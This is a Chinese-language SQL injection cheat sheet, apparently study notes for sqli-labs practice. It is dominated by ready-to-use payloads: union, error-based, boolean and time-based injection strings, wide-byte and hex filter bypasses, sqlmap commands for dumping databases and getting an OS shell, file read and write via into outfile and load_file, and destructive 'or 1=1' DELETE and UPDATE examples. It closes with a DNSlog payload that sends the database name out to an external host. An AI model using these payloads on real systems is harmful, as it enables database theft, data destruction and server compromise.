sql注入
一、原理
本质: 通过控制参数 将攻击者插入的payload 在未经过滤或者过滤不充分的前提下 拼接到sql语句中 并最终由数据库执行
sql===>结构化查询语句
二、如何快速判断是否存在sql注入
1. 使用单双引号 看是否报错
2. 使用 and 1=1 || and 1=2 看页面内容是否变化 (bool)
3. 使用四则运算 如果成立 代表整型注入(特殊的+号,注入到数据库里会被转换为空)
4. and sleep 看是否能休眠特定的事件
三、sql注入的分类
1. 根据注入的数据类型:
(1) 整数型 举例:id=1
(2) 字符型 字符型需要闭合 单双引号 举例:id = ‘1’
2. 根据注入的方式划分:
(1) 联合查询注入
union select
union all select
前提条件: 需要拥有回显位
判断列数: order by 或者 group by (配合聚合函数==>count+sum+avg+min+max)
(2) 基于报错的注入:
(1) group by 联合 floor 利用duplicate entry 报错的原理
select count(*),(concat(floor(rand(0)*2),(select database())))x from mysql.user group by x
前面不需要闭合正确的结果,但是union容易被屏蔽,一般不用这种写法
-1'union select 1,count(*),(concat(floor(rand(0)*2),(select database())))x from mysql.user group by x -- 1
一般用以下写法,前面必须闭合正确的结果,才可以报错
1' and (select 1 from (select count(*),(concat(floor(rand(0)*2),(select database())))x from mysql.user group by x)a) -- 1
默认查询出来的结果有长度限制 当字符串被截断 使用substr substring 分多次读取内容
1' and (select 1 from (select count(*),(concat(floor(rand(0)*2),(substr((select group_concat(schema_name) from information_schema.schemata),1,30))))x from mysql.user group by x)a) -- 1
(2) extractvalue 拥有2个参数 从特殊符号开始报错
'and extractvalue(1,concat(0x7e,user()))-- 1
'and extractvalue(1,concat(0x7e,user()))or '
(3) updatexml 拥有三个参数 从特殊符号开始报错
'and updatexml(1,concat(0x7e,user()),3)-- 1
'and updatexml(1,concat(0x7e,user()),3)or '
(3) 基于bool的注入
and if (条件, true, false)
(4) 基于时间的注入
and if (条件, sleep(1), false)
sqlmap跑出来的一个sql语句,闭合前面为假也可以运行,一般为真才行
aaa" AND (SELECT 4355 FROM (SELECT(SLEEP(5-(IF(8148>8147,0,5)))))EFmf)
3. 其它注入:
(1)宽字节注入
关键字: "SET NAMES gbk或者gb2312等"
使用场景: 首先是字符串型注入,然后注入的payload被转义,并且存在关键字的时候,使用宽字节注入
原理: 形如 gbk gb2312等 数据库会将ascii的值大于128的字节当作字符的一部分 从而可以吃掉反斜杠 引起引号逃逸
常用的宽字节符号: %df
(2)user-agent注入
(3)client-ip注入
(4)x-forwarded-for注入
(5)cookie注入
(6)referer注入
(7)二次编码注入
(8)二次注入:
1. 往数据库中插入一条数据 利用数据库的特性去掉\ ,查询的时候,也可以去掉\
2. 从数据库中读取插入的语句 在未经过滤 或者过滤不充分的前提下 拼接到sql语句中 然后最终执行
四、sql注入过滤
1. ’ " \ 被转义的场景
(1) 转义的函数:
addslashes()
mysql_real_escape_string()
mysql_escape_string()
mysqli_real_escape_string()
mysqli_escape_string()
(2) 出现这种场景,可以绕过的注入方式:
1.整型注入 (如果 where条件中的值被转义 schema_name=\'security\',这个值可以用十六进制替换)
2.宽字节注入
3.二次编码注入
4.二次注入
2. 当 = 被过滤
可以使用 like rlike regexp 来代替相关功能
五、sqlmap 自动化sql注入工具
参数:
-u 注入的url
-p 注入的参数
-v 3 payload -v 4 发送的请求包
--data 以post形式提交数据
--data="uname=aaa&passwd=bbb"
-r 跟上请求包所在的路径
--cookie 提交的cookie值
--user-agent="uname=bihuo"
--referer="uname=bihuo"
--delay=3 相邻请求包之间的间隔
--purge 清空目录缓存
--batch 全自动
--os-shell
--sql-shell
--skip 跳过指定的参数
--level 设定探测等级(sqlmap -r 情况下)
共有五个等级,默认为1,sqlmap使用的payload可以在 xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。
level>=2的时候就会测试HTTP Cookie。
level>=3的时候就会测试HTTP User-Agent/Referer头。
level=5 的时候会测试HTTP Host。
--risk
三个风险等级
(1)默认等级1 进行绝大部分基础sql注入
(2)等级2 加上heavy query
除了sleep 以外 还有什么基于time的注入方式
通过使用重型查询(heavy query) 来获得类似于sleep 的效果
SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C
通过使用benchmark函数 执行特定的表达式 一定次数 来实现类似于sleep的效果
select benchmark(1000000000000,md5('123456'))
(3)等级3 会增加OR语句的SQL注入测试。
在有些时候,例如在UPDATE,DELETE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。
注入的payload: 'or 1=1 -- 1
delete from user where id = ' 'or 1=1 -- 1';
update user set password = '123456' where username = ' 'or 1=1 -- ';
--dbs 查看数据库
--users 查看用户
--passwords 查看密码
--tables 查看表
--columns 查看字段
-D 指定的数据库 --tables
举例: -D "security" --tables
-D 指定的数据库 -T 指定的表 --columns
-D 指定的数据库 -T 指定的表 -C 指定的字段 --dump
--dump-all 将整个数据库的所有数据进行打包
指定的注入类型 速度排序=联合(U)>报错(E)>布尔(Bool)>延迟(Time)
--technique U E B T 指定类型
--prefix实在注入的payload前面加指定的字符串,有时候sqlmap不会在前面加那么多括号,通过这个加上
比如有的 sql语句中 select * from users where id = ((((('注入的payload'))))) limit 0,1
--prefix="')))))"
--suffix 就是在payload后面指定加上,与上面相似
比如过滤 preg_match('/bihuo$/i',$match,$id); 传入的payload必须以bihuo结尾
if(empty($match))exit(-1);
--suffix="#bihuo"
通过--proxy(代理模式) 与 burpsuite 抓包联用
--proxy=http://192.168.11.129:8181
六、information_schema 元数据库的使用
读取所有的数据库名:
select schema_name from information_schema.schemata
读取特定库下的表名:
select table_name from information_schema.tables where table_schema = 'xxx'; (可以使用hex)
读取特定库下特定表中的字段名:
select column_name from information_schema.columns where table_schema = 'xxx' and table_name = 'yyy'; (使用hex)
七、mysql 写入文件和读取文件
(1) 写入文件:
into outfile 以字符流写入
into dumpfile 以字节流写入
前提条件:
1. 知道绝对路径
2. secure-file-priv != NULL
3. 拥有能够写入文件的权限(root)
4. 能够使用单双引号
(2) 读取文件:
load_file
前提条件:
1. 知道绝对路径
2. secure-file-priv != NULL
3. 拥有能够写入文件的权限(root)
select 12345 into outfile 'C:/12345.txt'
show variables like '%secure%'
select load_file('C:/12345.txt') into outfile 'C:/outfile.txt'
select load_file('C:/12345.txt') into dumpfile 'C:/dumpfile.txt'
select load_file('C:/ConsoleApplication15.exe') into outfile 'C:/outfile.exe'
select load_file('C:/ConsoleApplication15.exe') into dumpfile 'C:/dumpfile.exe'
八、十六进制编码绕过
less 2 id 增加过滤 id= addslashes(_GET['id']); 利用十六进制绕过(必须是整型注入的时候)
(1) 当数据库名被过滤了单双引号的时候,可以使用十六进制代替
SELECT * FROM users WHERE id= -1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = \'security\' LIMIT 0,1
SELECT * FROM users WHERE id= -1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479 LIMIT 0,1
SELECT * FROM users WHERE id= -1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name = 0x7573657273 LIMIT 0,1
(2) sql语句的得出十六进制的方法hex(),得出的值需要在前面加0x,才可以使用
select hex('security')
select hex('users')
(3) 写入文件与十六进制联用的时候
select 0x68656C6C6F776F726C64 into outfile 'C:/hex.txt'
要写入的文件名 不能够使用hex进行编码 必须是以字符串的形式
select 0x68656C6C6F776F726C64 into outfile 0x433A2F686578312E747874 //无法执行,文件名不能用hex编码
九、Dnslog 外带注入
不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现代WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。
dnslog平台记录别人访问平台的信息
比如 : ping bihuo.y6ldwi.dnslog.cn
DNSlog网址: http://www.dnslog.cn/
示例语句:
select load_file(concat('\\\\',(select database()),'.y6ldwi.dnslog.cn/abc'))
sql-labs第9关时间注入举例:
select * from users where id = '1' union select 1,2,load_file(concat('\\\\',(select database()),'.iopl9u.dnslog.cn/abc'))-- 1
payload:
1' union select 1,2,load_file(concat('\\\\',(select database()),'.iopl9u.dnslog.cn/abc'))-- 1